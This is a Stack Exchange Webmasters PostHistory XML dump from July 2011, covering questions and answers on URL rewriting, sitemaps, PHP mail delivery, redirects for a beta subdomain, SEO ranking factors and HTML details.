  <row Id="41233" PostHistoryTypeId="2" PostId="17166" RevisionGUID="a4ff8e2b-94e2-420a-b468-3a72fe577b33" CreationDate="2011-07-21T08:16:33.767" UserId="1803" Text="Most of my clients can't or wouldn't understand technical stuff like setting up CMS'es or programming some features into it. So I need to come up regularly with something presentational they can see and have an emotion to. So if it's for business, you may start with the layout (not a full HTML-Template but rather an image).&#xD;&#xA;&#xD;&#xA;Otherwise (if it's not for business but private/university-projects) I mostly start off by thinking about, what do I want to achieve, what my target group is (well, those question are really important for business too), without thinking about how I do want to present it. Based on such questions I decide first what technology/existing software I should use (a CMS—or start from scratch [maybe using any framework]). If I need to store more than just a few page and comments to them, then I start off by creating a database-structure, where everything else will be build upon (some frameworks even allow the code-creation from SQL-structures). Client-side interactivity and fancy CSS-effects is the least thing I implement, since my websites should also work without using JavaScript and the CSS should degrade gracefully (but as stated above, this is the important thing for my clients).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41234" PostHistoryTypeId="5" PostId="17151" RevisionGUID="b4d4cc67-5a93-4881-a249-a2f9c8727749" CreationDate="2011-07-21T09:19:42.017" UserId="4502" Comment="added 72 characters in body" Text="No but I would use the [canonical links](http://www.google.com/support/webmasters/bin/answer.py?answer=139394) as much as possible. That way they get copied and passed along right.&#xD;&#xA;&#xD;&#xA;So if the canonical has the slug, I suggest you use that one. Actually, I high recommend  canonical to use the slug, it will  be more search-engine friendly." />
  <row Id="41235" PostHistoryTypeId="25" PostId="17113" RevisionGUID="1a04b8e2-2e47-4202-88a3-da3092261335" CreationDate="2011-07-21T09:31:55.627" Comment="http://twitter.com/#!/StackWebmasters/status/93976488138903552" />
  <row Id="41236" PostHistoryTypeId="2" PostId="17167" RevisionGUID="203f6ada-3978-4f59-b065-6ee5a37f123f" CreationDate="2011-07-21T09:47:09.033" UserId="9093" Text="I have a rewrite rule to rewrite `www.mysite.com/default.aspx` to `www.mysite.com`.&#xD;&#xA;&#xD;&#xA;    RewriteRule ^default.aspx$ / [NC,R=301,L]&#xD;&#xA;&#xD;&#xA;On that site i have an asp.net server `Button`. When i click the button it tries to go to postback to `default.aspx`, but gets `301`'d to the root. This prevents the button's click event from triggering.&#xD;&#xA;&#xD;&#xA;How can i redirect `default.aspx`, without breaking my button's event?" />
  <row Id="41237" PostHistoryTypeId="1" PostId="17167" RevisionGUID="203f6ada-3978-4f59-b065-6ee5a37f123f" CreationDate="2011-07-21T09:47:09.033" UserId="9093" Text="ISAPI_Rewrite and asp.net events upon postback" />
  <row Id="41238" PostHistoryTypeId="3" PostId="17167" RevisionGUID="203f6ada-3978-4f59-b065-6ee5a37f123f" CreationDate="2011-07-21T09:47:09.033" UserId="9093" Text="&lt;htaccess&gt;&lt;asp.net&gt;" />
  <row Id="41239" PostHistoryTypeId="5" PostId="17150" RevisionGUID="38c76a39-a70d-4254-a986-e4ac4cd831fb" CreationDate="2011-07-21T09:49:25.100" UserId="2284" Comment="added 25 characters in body" Text="I'm coding the sitemap logic of my side-project blogging platform and I would like to know if omitting the slug in the `&lt;loc&gt;` nodes of the `sitemap` could be a problem for the crawlers.&#xD;&#xA;&#xD;&#xA;Having two urls that point to the same page:&#xD;&#xA;&#xD;&#xA;http://www.foo.com/post/213212/&#xD;&#xA;&#xD;&#xA;http://www.foo.com/post/213212/this-talks-about-foo&#xD;&#xA;&#xD;&#xA;could I use just links without the slug to create the sitemap?  &#xD;&#xA;Does it hide any drawbacks?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41247" PostHistoryTypeId="2" PostId="17170" RevisionGUID="859e55a0-9f9d-4299-9f1b-b7d822a21d77" CreationDate="2011-07-21T11:32:24.240" UserId="9096" Text="I recently started to use [Grooveshark][1]. I noticed that although they have a dynamic interface in sense that you never leave the one page, but the back (and forward) buttons work anyway. If you press the button, only a part (think of a frame) of the content changes back to where you were, but the static elements of the interface stay. How do they manage that? Can you give me a trivial example?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://grooveshark.com/" />
  <row Id="41248" PostHistoryTypeId="1" PostId="17170" RevisionGUID="859e55a0-9f9d-4299-9f1b-b7d822a21d77" CreationDate="2011-07-21T11:32:24.240" UserId="9096" Text="How does the back button work on Grooveshark?" />
  <row Id="41249" PostHistoryTypeId="3" PostId="17170" RevisionGUID="859e55a0-9f9d-4299-9f1b-b7d822a21d77" CreationDate="2011-07-21T11:32:24.240" UserId="9096" Text="&lt;jquery&gt;&lt;hash&gt;" />
  <row Id="41250" PostHistoryTypeId="2" PostId="17171" RevisionGUID="a70479cc-09f9-4841-bb24-c255d13063b1" CreationDate="2011-07-21T11:41:45.087" UserId="8354" Text="You can add this condition `RewriteCond %{REQUEST_METHOD} ^GET$` just before rewrite rule to redirect only on GET requests:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_METHOD} ^GET$&#xD;&#xA;    RewriteRule ^default.aspx$ / [NC,R=301,L]&#xD;&#xA;&#xD;&#xA;This will allow to POST to `default.aspx` .. but then it will not be redirected at all.&#xD;&#xA;&#xD;&#xA;Ideally you would need to fix your server side / HTML: look at your `&lt;form action&quot;XXX&quot;&gt;` -- change action to `/` instead of `default.aspx` (**P.S.** I'm not familiar with ASP.NET much and cannot 100% that this is how .NET really works, but this is the way how you can fix it if it would be PHP, for example). The idea is -- fix the source of the problem -- so the form gets submitted to `/` in first place.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41251" PostHistoryTypeId="2" PostId="17172" RevisionGUID="6c0d6493-cf02-4b1b-9491-58b80c9353fc" CreationDate="2011-07-21T11:44:16.997" UserId="8857" Text="My computer has got apache installed(localhost), so i made a signup option, and there is an email option to which i send a mail for activation of account. I have an internet connection, now if in the PHP script, i write&#xD;&#xA;    mail($to,$subject,$msg);&#xD;&#xA;will this code deliver the mail to the desired recepient because it is not sending it." />
  <row Id="41252" PostHistoryTypeId="1" PostId="17172" RevisionGUID="6c0d6493-cf02-4b1b-9491-58b80c9353fc" CreationDate="2011-07-21T11:44:16.997" UserId="8857" Text="How do i make sure that my mail($to,$subject,$msg); delivers the mail." />
  <row Id="41253" PostHistoryTypeId="3" PostId="17172" RevisionGUID="6c0d6493-cf02-4b1b-9491-58b80c9353fc" CreationDate="2011-07-21T11:44:16.997" UserId="8857" Text="&lt;php&gt;" />
  <row Id="41254" PostHistoryTypeId="2" PostId="17173" RevisionGUID="49945939-4964-4a88-b734-de964a0f0a8e" CreationDate="2011-07-21T11:51:26.940" UserId="1253" Text="There is no way to be 100% sure an email was received by a recipient. &#xD;&#xA;&#xD;&#xA;The `mail()` function returns a value depending on whether there was a problem sending the email or not. You would do that like this:&#xD;&#xA;&#xD;&#xA;    $successful = mail($to,$subject,$msg);&#xD;&#xA;    if (!$successful)&#xD;&#xA;    {&#xD;&#xA;        // The email was not sent&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;If the value of `$successful` is `false` then the server had an issue sending the email. So add that to your code and see what happens. If `$successful` is  `true` then the server is sending the email ok and your problem may lie with spam filters that are receiving the email and deleting it. You can learn more about how to prevent that in [this question][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3728/how-could-i-prevent-my-mail-from-being-recognized-as-spam" />
  <row Id="41255" PostHistoryTypeId="2" PostId="17174" RevisionGUID="edb8c18d-d19e-4686-a210-565d28a0184c" CreationDate="2011-07-21T12:00:50.287" UserId="1643" Text="[This answer][1] tells you a way of spotting how the location has changed. According to that blog post they use a plugin for that. Basically it's a lot of clever javascript, with some flash for the player at the bottom.&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/136937/is-there-a-way-to-catch-the-back-button-event-in-javascript" />
  <row Id="41256" PostHistoryTypeId="17" PostId="17175" RevisionGUID="fe465c18-fb4b-4612-a06c-53571df48877" CreationDate="2011-07-21T12:08:52.267" UserId="-1" Comment="from http://stackoverflow.com/questions/6608327/google-style-send-feedback" Text="" />
  <row Id="41257" PostHistoryTypeId="2" PostId="17175" RevisionGUID="ad374889-fc9e-4d64-8a5f-aff6f56c7862" CreationDate="2011-07-07T09:14:33.217" UserId="7913" Text="Does anyone know a service that offers a google+ style feedback system? It seems that it would be a great way to get feedback from users. If you have not seen it before. I've attached a screen shot.  &#xD;&#xA;&#xD;&#xA;It allows users highlight the problem and also blank out parts thy don't want to show. ![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/8uCOe.png" />
  <row Id="41258" PostHistoryTypeId="1" PostId="17175" RevisionGUID="ad374889-fc9e-4d64-8a5f-aff6f56c7862" CreationDate="2011-07-07T09:14:33.217" UserId="7913" Text="Google+ Style &quot;Send Feedback&quot;" />
  <row Id="41259" PostHistoryTypeId="3" PostId="17175" RevisionGUID="ad374889-fc9e-4d64-8a5f-aff6f56c7862" CreationDate="2011-07-07T09:14:33.217" UserId="7913" Text="&lt;ajax&gt;" />
  <row Id="41260" PostHistoryTypeId="2" PostId="17176" RevisionGUID="105aef4c-830f-46c2-abce-7ed5bd1d7718" CreationDate="2011-07-21T12:21:51.393" UserId="1248" Text="Google looks at the quality of the domains linking to you (.edu links are highly prized) and if they are trustworthy.  Peer reviewed directories help as well.&#xD;&#xA;&#xD;&#xA;Other factors include having the domain for a couple years and preregistered for a couple years in the future as well. &#xD;&#xA;&#xD;&#xA;Businesses can look to increase trust by having BBB links, Chamber of Commerce, and Places verified.&#xD;&#xA;&#xD;&#xA;Inbound links from social sites (tumblr, twitter, facebook, google+) help as well." />
  <row Id="41261" PostHistoryTypeId="2" PostId="17177" RevisionGUID="572e963f-69fa-45f9-8f1e-45cd993d5795" CreationDate="2011-07-21T12:23:52.797" UserId="1248" Text="do you have an improperly created robots.txt file?" />
  <row Id="41262" PostHistoryTypeId="25" PostId="17163" RevisionGUID="2a142b34-365e-4dec-951a-127025ac7a07" CreationDate="2011-07-21T12:31:55.737" Comment="http://twitter.com/#!/StackWebmasters/status/94021787297398784" />
  <row Id="41263" PostHistoryTypeId="2" PostId="17178" RevisionGUID="a51d1a1a-1afc-4b43-8af0-51784f6cf2df" CreationDate="2011-07-21T13:32:31.510" UserId="7968" Text="Google's algorithms are naturally closely guarded, and they claim over 1,000 factors go into ranking sites. That said, the following are believed to be important quality indicators:&#xD;&#xA;&#xD;&#xA;1) Links - both number and type. Links from other high-quality domains are what you want, especially if they're from relevant sites; that is, if I have a pet site, links from other animal sites will be more relevant than a link from a t-shirt site.&#xD;&#xA;&#xD;&#xA;2) Age - newer sites often have difficulty ranking over older sites (although brand new sites will get a bump for a short time)&#xD;&#xA;&#xD;&#xA;3) Size - Longer pages are preferred over shorter ones (although this doesn't mean that very short pages can't rank well). Google tries to figure out if your page is providing the user with what he's searching for.&#xD;&#xA;&#xD;&#xA;4) Keywords - not in the meta tag, Google doesn't care about that, but in the page itself. If I'm writing about dogs, Google might expect to see the words pet, walk, leash, etc...in other words, certain terms will tend to come up naturally when you're actually writing for the user rather than the search engine. (So write for the user!) Avoid keyword stuffing, or repetively using the same keywords over and over to try to rank higher; this is a sign of spam.&#xD;&#xA;&#xD;&#xA;5) Load time and bounce rates - if the user immediately hits the back button, or if your site takes eons to load, your page will be downgraded.&#xD;&#xA;&#xD;&#xA;6) Outgoing links - you're judged by the company you keep. Don't link to spammy sites!" />
  <row Id="41264" PostHistoryTypeId="2" PostId="17179" RevisionGUID="350f541f-fa16-485e-9d60-45c0b92a1b53" CreationDate="2011-07-21T14:01:48.877" UserId="9097" Text="I have a website with a domain of www.mysite.com for example and I wish to redirect so of it's content to a new version under a sub domain i.e everything under www.mysite.com/specific-section not goes to beta.mysite.com/specific-section. In the long term the beta site will replace the main www site.  &#xD;&#xA;Using a 302 redirect seems like the right idea in this situation but as I am no SEO expert I wanted to get some feedback. &#xD;&#xA;&#xD;&#xA;Can I avoid the beta site from being indexed by various search engines? I am aware they all handle 301s and 302s in slightly different ways.  &#xD;&#xA;When the beta domain is removed should it disappear from search engine results?  &#xD;&#xA;An alternative that has been suggested is to make it a 301 redirect and when the beta site in no longer require to perform a 301 redirect back to the www site. Is this an option is will this cause SEO pain?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41265" PostHistoryTypeId="1" PostId="17179" RevisionGUID="350f541f-fa16-485e-9d60-45c0b92a1b53" CreationDate="2011-07-21T14:01:48.877" UserId="9097" Text="When redirecting to a beta sub domain should I use 301 or 302?" />
  <row Id="41266" PostHistoryTypeId="3" PostId="17179" RevisionGUID="350f541f-fa16-485e-9d60-45c0b92a1b53" CreationDate="2011-07-21T14:01:48.877" UserId="9097" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;redirects&gt;" />
  <row Id="41267" PostHistoryTypeId="2" PostId="17180" RevisionGUID="61e789be-4876-44c8-9d8d-abf47d4cafbc" CreationDate="2011-07-21T14:07:23.800" UserId="1253" Text="If the current live site is still up and running I wouldn't even have the beta domain indexed by the search engines at all. Messing with redirects, especially double redirects, can get messy and potentially be problematic. When you make the transition over to the new website you're going to have enough work to do when you make redirects from the old URLs to the new URLs and have to deal with a temporary drop in rankings. I wouldn't want it to be any more complex then that.&#xD;&#xA;&#xD;&#xA;My advice would be to block the beta version from the search engines completely by using a [robots.txt file][1] and/or the [robots meta tag][2]/[x-robots HTTP header][3]. Then when it goes live do 301 redirects from the old URLs to the new URLs. It's the simplest way to do it and also the least prone to problems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/&#xD;&#xA;  [2]: http://www.mattcutts.com/blog/handling-noindex-meta-tags/&#xD;&#xA;  [3]: http://googleblog.blogspot.com/2007/07/robots-exclusion-protocol-now-with-even.html" />
  <row Id="41268" PostHistoryTypeId="5" PostId="17180" RevisionGUID="7cc04db9-76b2-413c-869a-1ee6588bfe70" CreationDate="2011-07-21T14:17:27.993" UserId="1253" Comment="added 289 characters in body" Text="If the current live site is still up and running I wouldn't even have the beta domain indexed by the search engines at all. Messing with redirects, especially double redirects, can get messy and potentially be problematic. When you make the transition over to the new website you're going to have enough work to do when you make redirects from the old URLs to the new URLs and have to deal with a temporary drop in rankings. I wouldn't want it to be any more complex then that.&#xD;&#xA;&#xD;&#xA;My advice would be to block the beta version from the search engines completely by using a [robots.txt file][1] and/or the [robots meta tag][2]/[x-robots HTTP header][3]. Then when it goes live do 301 redirects from the old URLs to the new URLs. It's the simplest way to do it and also the least prone to problems.&#xD;&#xA;&#xD;&#xA;If the beta subdomain is the live website I would do a 307 redirect which is a temporary redirect. That will tell the search engines that the beta URLs are temporary and the old ones will be returning soon (although possibly under a new URL but a 301 redirect will take care of that). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/&#xD;&#xA;  [2]: http://www.mattcutts.com/blog/handling-noindex-meta-tags/&#xD;&#xA;  [3]: http://googleblog.blogspot.com/2007/07/robots-exclusion-protocol-now-with-even.html" />
  <row Id="41269" PostHistoryTypeId="5" PostId="17179" RevisionGUID="a8a11c18-2af8-489c-853b-15989935a521" CreationDate="2011-07-21T14:53:21.577" UserId="9097" Comment="added 347 characters in body" Text="I have a website with a domain of www.mysite.com for example and I wish to redirect some of it's content to a new version that is under development under a sub domain i.e everything under www.mysite.com/specific-section now goes to beta.mysite.com/specific-section. In the long term the code in the beta site will replace the code main www site at which point the beta site will be closed and the redirects from the www site will be removed.  &#xD;&#xA;Using a 302 redirect seems like the right idea in this situation but as I am no SEO expert I wanted to get some feedback. &#xD;&#xA;&#xD;&#xA;Can I avoid the beta site from being indexed by various search engines? I am aware they all handle 301s and 302s in slightly different ways.  &#xD;&#xA;When the beta domain is removed should it disappear from search engine results?  &#xD;&#xA;An alternative that has been suggested is to make it a 301 redirect and when the beta site in no longer require to perform a 301 redirect back to the www site. Is this an option is will this cause SEO pain?  &#xD;&#xA;&#xD;&#xA;Edit: I have amended the question a little as I don't think I explained myself too clearly. The beta site it temporary and will eventually be removed. the www site is and always will be the main site.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41270" PostHistoryTypeId="2" PostId="17181" RevisionGUID="4b815e1f-ffbb-4808-bb35-102bda46f175" CreationDate="2011-07-21T15:25:57.237" UserId="8935" Text="I started to learn seo from last four months before this i was just a freelance web designer. &#xD;&#xA;&#xD;&#xA;Since i am new to this industry  , I contacted one of SEO company to Optimize our Client Website which was designed me . They are agreed and offered service at some cost . while discussing  about SEO with the Company (SEO Company ) one of the Technical Staff  told me that they have some sort of server which boost the Website and Hence they achieve good result in the short time  even though i am not totally agreed what he said but i want to know whether any such system or server exists which boost the SEO operation ,,if exists please explain me what  it is   or its just a marketing gimmick ??  " />
  <row Id="41271" PostHistoryTypeId="1" PostId="17181" RevisionGUID="4b815e1f-ffbb-4808-bb35-102bda46f175" CreationDate="2011-07-21T15:25:57.237" UserId="8935" Text="is Professional SEO means Only Coding Meta tags, building Links,Redesign etc ?? or something else" />
  <row Id="41272" PostHistoryTypeId="3" PostId="17181" RevisionGUID="4b815e1f-ffbb-4808-bb35-102bda46f175" CreationDate="2011-07-21T15:25:57.237" UserId="8935" Text="&lt;seo&gt;" />
  <row Id="41273" PostHistoryTypeId="2" PostId="17182" RevisionGUID="5160173d-07e4-4e4e-88e9-06126d07eb2e" CreationDate="2011-07-21T15:29:47.413" UserId="1253" Text="That raises a huge red flag for me. There is nothing you can do just by having a &quot;server&quot;  or any special software to improve SEO in the manner they are speaking. This sounds like they are using black hat techniques in an attempt to rank pages better. I would tell them to give you a detailed explanation of what this server does and if they don't tell you thank them for their time but you won't be needing their services." />
  <row Id="41274" PostHistoryTypeId="25" PostId="17179" RevisionGUID="80a2ab01-da24-4a36-a4bd-ea448708a987" CreationDate="2011-07-21T15:31:55.850" Comment="http://twitter.com/#!/StackWebmasters/status/94067085847707648" />
  <row Id="41275" PostHistoryTypeId="5" PostId="17181" RevisionGUID="88b25665-a247-4c5d-bbb0-d0b8619e4f96" CreationDate="2011-07-21T15:33:13.010" UserId="1253" Comment="improved the question title and text significantly" Text="I started to learn about SEO from last four months before this i was just a freelance web designer. Since i am new to this industry I contacted a SEO company to optimize our client's website which was designed me. While discussing SEO with the company one of the technical staff told me that they have some sort of server which boosts the website and they can achieve good results in a short amount of time. I don't really believe what he said so I want to know whether any such system or server exists which boost the SEO of a website or is it just a marketing gimmick? " />
  <row Id="41276" PostHistoryTypeId="4" PostId="17181" RevisionGUID="88b25665-a247-4c5d-bbb0-d0b8619e4f96" CreationDate="2011-07-21T15:33:13.010" UserId="1253" Comment="improved the question title and text significantly" Text="Is there any server or software that legitimately improves a site's SEO?" />
  <row Id="41278" PostHistoryTypeId="6" PostId="17181" RevisionGUID="eb424fed-3830-4adf-9720-d0ba0b7190fd" CreationDate="2011-07-21T16:07:35.600" UserId="1253" Comment="modified tags" Text="&lt;seo&gt;&lt;blackhat&gt;" />
  <row Id="41279" PostHistoryTypeId="2" PostId="17183" RevisionGUID="e72d33d6-cc56-4bdb-8ffd-d62f6a31bbaf" CreationDate="2011-07-21T16:18:10.757" UserId="5806" Text="**What are on-site on-page guidelines that can optimize a site for Yahoo search?**&#xD;&#xA;&#xD;&#xA;Its been over 6 years since I have been running a number of websites and for some reason the traffic and ranking from Yahoo has always been disproportionally low. Given that Google sends so much traffic (*except for one site which dropped last week - the topic of another question*), I never found out what Yahoo likes (and other engines but lets leave this question Yahoo specific).&#xD;&#xA;&#xD;&#xA;Lets exclude things like 'great content', 'good navigation', 'user-oriented text' etc which are a given basic for any site and search engine. I am already passed this ;) What I am looking for could have to do with page structure, linking structure, layout, length of various parts, etc.&#xD;&#xA;&#xD;&#xA;Just a note, my sites are all indexed crawled by Yahoo already. Their SiteExplorer shows that they have index most pages (from 10s to 1000s for bigger-sites), just that they rank less well outside of Google." />
  <row Id="41280" PostHistoryTypeId="1" PostId="17183" RevisionGUID="e72d33d6-cc56-4bdb-8ffd-d62f6a31bbaf" CreationDate="2011-07-21T16:18:10.757" UserId="5806" Text="How to Optimize A Site For Yahoo Search?" />
  <row Id="41281" PostHistoryTypeId="3" PostId="17183" RevisionGUID="e72d33d6-cc56-4bdb-8ffd-d62f6a31bbaf" CreationDate="2011-07-21T16:18:10.757" UserId="5806" Text="&lt;seo&gt;&lt;yahoo&gt;&lt;ranking&gt;" />
  <row Id="41282" PostHistoryTypeId="2" PostId="17184" RevisionGUID="d4d27e00-1b1d-4c8f-89f4-58752bbaba10" CreationDate="2011-07-21T17:23:12.287" UserId="529" Text="`(direct)` can be misleading. Traditionally, people think of it as meaning &quot;people typed in my URL directly&quot;; the reality is usually a mix of that and of traffic sent from places that don't pass an HTTP REFERER header (and don't have some sort of manual tagging using `utm_*` parameters).&#xD;&#xA;&#xD;&#xA;Specifically:&#xD;&#xA;&#xD;&#xA; - Non-web sources like smartphone apps, mail clients, and desktop apps.  (Twitter for iPhone, Outlook, etc.)&#xD;&#xA; - HTTPS traffic linking to an HTTP page (HTTPS only Twitter and Facebook, Gmail, etc.)&#xD;&#xA; - Privacy blockers that prevent pages from passing referrers (less common)&#xD;&#xA;&#xD;&#xA;So, traffic from Twitter isn't the same thing as traffic that Google Analytics credits as traffic from Twitter.com; that's only the subset of Twitter traffic that came from the web client AND was on HTTP. Same thing with Facebook; only traffic from non-HTTPS, web-based Facebook.com will track as being from Facebook.com; the rest will be tracked as `(direct)`." />
  <row Id="41283" PostHistoryTypeId="2" PostId="17185" RevisionGUID="29a99d8a-9e83-4faf-9e88-d6c543d171e9" CreationDate="2011-07-21T18:21:09.933" UserId="5727" Text="As Renan says, they use Bing.  So your best option would probably be to start at:&#xD;&#xA;&#xD;&#xA;http://www.bing.com/toolbox/webmaster/&#xD;&#xA;&#xD;&#xA;However, look at how much of your traffic is coming from Google.  For me it's a good 99.9%.  So if you have huge value from one source, focusing energy on another might:&#xD;&#xA;&#xD;&#xA; - Be a waste of time (your time/reward ratio will be bad as well probably)&#xD;&#xA; - Cause harm to your main source&#xD;&#xA;&#xD;&#xA;Also note a good SEO site isn't Google specific, they are fundamental rules that should help on all search engines worth their salt.  Google/Bing specific optimisations are probably going to be short lived and -EV (I've never seen any specific engine optimisations either, I'm sceptical if any exist past signing up on their local business directories etc)." />
  <row Id="41284" PostHistoryTypeId="2" PostId="17186" RevisionGUID="a0c9b544-7606-48d8-9809-f210e5fd4722" CreationDate="2011-07-21T18:27:02.143" UserId="9100" Text="I have an html page, and I need a link to show that the user would be going to 'example.html', when really, the link goes to 'javascipt:ajaxLoad(example.html);'.&#xD;&#xA;&#xD;&#xA;Any help?" />
  <row Id="41285" PostHistoryTypeId="1" PostId="17186" RevisionGUID="a0c9b544-7606-48d8-9809-f210e5fd4722" CreationDate="2011-07-21T18:27:02.143" UserId="9100" Text="How to have html display a link, but open a javascipt function instead?" />
  <row Id="41286" PostHistoryTypeId="3" PostId="17186" RevisionGUID="a0c9b544-7606-48d8-9809-f210e5fd4722" CreationDate="2011-07-21T18:27:02.143" UserId="9100" Text="&lt;html&gt;&lt;javascript&gt;&lt;links&gt;" />
  <row Id="41287" PostHistoryTypeId="25" PostId="17181" RevisionGUID="49049a71-8700-45b3-b989-0ecca7a1d86f" CreationDate="2011-07-21T18:31:55.940" Comment="http://twitter.com/#!/StackWebmasters/status/94112384637075456" />
  <row Id="41288" PostHistoryTypeId="2" PostId="17187" RevisionGUID="9859fc12-c6e4-47b5-9ca8-85f530f65e85" CreationDate="2011-07-21T18:32:21.830" UserId="1253" Text="Have the HTML with a working link in it that leads to the content you want to show. Then use JavaScript to stop the browser from taking them to that page and then use Ajax to show the content to them in their current page.&#xD;&#xA;&#xD;&#xA;This is known as progressive enhancement and allows everyone to see the content whether they have JavaScript enabled or not. How to write this code will vary depending on what JavaScript framework you use (Prototype, jQuery, MooTools, etc). But the psuedocode would look something like this:&#xD;&#xA;&#xD;&#xA;- on DOM load attach an event monitor to that link&#xD;&#xA;- when that link is clicked stop the default event (the browser loads the new page)&#xD;&#xA;- Make your ajax call to get the new content&#xD;&#xA;- Replace the existing content with the new content&#xD;&#xA;&#xD;&#xA;If you want code help you will need to go to [StackOverflow](http://stackoverflow.com) as that is where coding questions are handled. This question in its current form would probably be closed there since it doesn't show any effort to write some code. So I suggest starting to write your own code and then if you have trouble ask for help there showing whatever code you have so far." />
  <row Id="41289" PostHistoryTypeId="2" PostId="17188" RevisionGUID="eca92622-32da-4ebd-886c-740b8da7eaf1" CreationDate="2011-07-21T18:33:03.223" UserId="4502" Text="Check out &lt;a href=&quot;http://bugmuncher.com/&quot;&gt;BugMuncher&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;It seems like Google's Feedback system might at some point be made a service of its own, and they have a page where you can &lt;a href=&quot;https://services.google.com/fb/forms/googlefeedbackregisterinterest/&quot;&gt;register interest&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If your needs are more for things like sharing annotations rather than specifically bugs that'll require screenshots, you might have a look at &lt;a href=&quot;http://www.covie.ws/&quot;&gt;CoViews&lt;/a&gt;." />
  <row Id="41290" PostHistoryTypeId="2" PostId="17189" RevisionGUID="d91682b0-9c17-48bf-b697-70681e3b3fe5" CreationDate="2011-07-21T18:33:03.263" UserId="6033" Text="You also need to include headers:&#xD;&#xA;&#xD;&#xA;    $headers = 'From: webmaster@example.com' . &quot;\r\n&quot; .&#xD;&#xA;    'Reply-To: webmaster@example.com' . &quot;\r\n&quot; .&#xD;&#xA;    'X-Mailer: PHP/' . phpversion();&#xD;&#xA;&#xD;&#xA;    mail($to,$subject,$msg,$headers); &#xD;&#xA;&#xD;&#xA;Without headers you'll probably get marked as SPAM by the recipient mail server. " />
  <row Id="41291" PostHistoryTypeId="2" PostId="17190" RevisionGUID="d9c7257b-ca0e-4d4c-aeef-f3f6e9ac141d" CreationDate="2011-07-21T18:33:40.470" UserId="6109" Text="Being more of a developper I'm not always sure what is suitable in terms of design. Rather than going into details I have provided the links below (will be removed once there are answers) as an example of a web site .&#xD;&#xA;&#xD;&#xA;What strikes as bad in terms of design and layout? What could be done to improve it and what other tips would you have?&#xD;&#xA;&#xD;&#xA;http://kisslook.com/index.php&#xD;&#xA;&#xD;&#xA;http://kisslook.com/photosmembres.php" />
  <row Id="41292" PostHistoryTypeId="1" PostId="17190" RevisionGUID="d9c7257b-ca0e-4d4c-aeef-f3f6e9ac141d" CreationDate="2011-07-21T18:33:40.470" UserId="6109" Text="What could be done to improve the presentation?" />
  <row Id="41293" PostHistoryTypeId="3" PostId="17190" RevisionGUID="d9c7257b-ca0e-4d4c-aeef-f3f6e9ac141d" CreationDate="2011-07-21T18:33:40.470" UserId="6109" Text="&lt;website-design&gt;&lt;graphics&gt;&lt;layout&gt;" />
  <row Id="41294" PostHistoryTypeId="5" PostId="17186" RevisionGUID="78433cad-de9e-4472-acbf-cfe2de14d490" CreationDate="2011-07-21T18:34:28.413" UserId="1253" Comment="minor text edits" Text="I have an html page, and I need a link to show that the user would be going to 'example.html', when really, the link goes to 'javascipt:ajaxLoad(example.html);'.&#xD;&#xA;" />
  <row Id="41295" PostHistoryTypeId="2" PostId="17191" RevisionGUID="b6e0b129-6c3c-42e8-87d7-3a33a25fc31d" CreationDate="2011-07-21T18:35:37.287" UserId="6109" Text="What is the equivalent english expression for &quot;charte graphique&quot; which is a document that defines the combinations of colours, dimensions and layout for a website?" />
  <row Id="41296" PostHistoryTypeId="1" PostId="17191" RevisionGUID="b6e0b129-6c3c-42e8-87d7-3a33a25fc31d" CreationDate="2011-07-21T18:35:37.287" UserId="6109" Text="English expression for &quot;charte graphique&quot;" />
  <row Id="41297" PostHistoryTypeId="3" PostId="17191" RevisionGUID="b6e0b129-6c3c-42e8-87d7-3a33a25fc31d" CreationDate="2011-07-21T18:35:37.287" UserId="6109" Text="&lt;design&gt;&lt;graphics&gt;" />
  <row Id="41298" PostHistoryTypeId="10" PostId="17190" RevisionGUID="169a1686-57ed-4d2b-8d69-4fed152fe4a2" CreationDate="2011-07-21T18:36:44.370" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="41300" PostHistoryTypeId="2" PostId="17193" RevisionGUID="1a05826a-4cde-4337-ad30-4e527b186564" CreationDate="2011-07-21T18:39:42.267" UserId="4502" Text="I would say &quot;&lt;a href=&quot;http://en.wikipedia.org/wiki/Style_guide&quot;&gt;style guide&lt;/a&gt;.&quot; " />
  <row Id="41302" PostHistoryTypeId="2" PostId="17194" RevisionGUID="28288636-f4c4-4f4b-b529-34becedb3e10" CreationDate="2011-07-21T19:18:22.227" UserId="3535" Text="Just a quick question that's nagged at me for a while. When using the `&lt;br /&gt;` tag, is the tag considered to be a space between text as well? &#xD;&#xA;In other words, if the html was: `&lt;p&gt;Publication Author&lt;br /&gt;Publication Citation&lt;/p&gt;`, would it be read as &quot;Publication Author Publication Citation&quot; or &quot;Publication AuthorPublication Citation&quot;?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41303" PostHistoryTypeId="1" PostId="17194" RevisionGUID="28288636-f4c4-4f4b-b529-34becedb3e10" CreationDate="2011-07-21T19:18:22.227" UserId="3535" Text="&lt;br /&gt; tag and spaces" />
  <row Id="41304" PostHistoryTypeId="3" PostId="17194" RevisionGUID="28288636-f4c4-4f4b-b529-34becedb3e10" CreationDate="2011-07-21T19:18:22.227" UserId="3535" Text="&lt;html&gt;" />
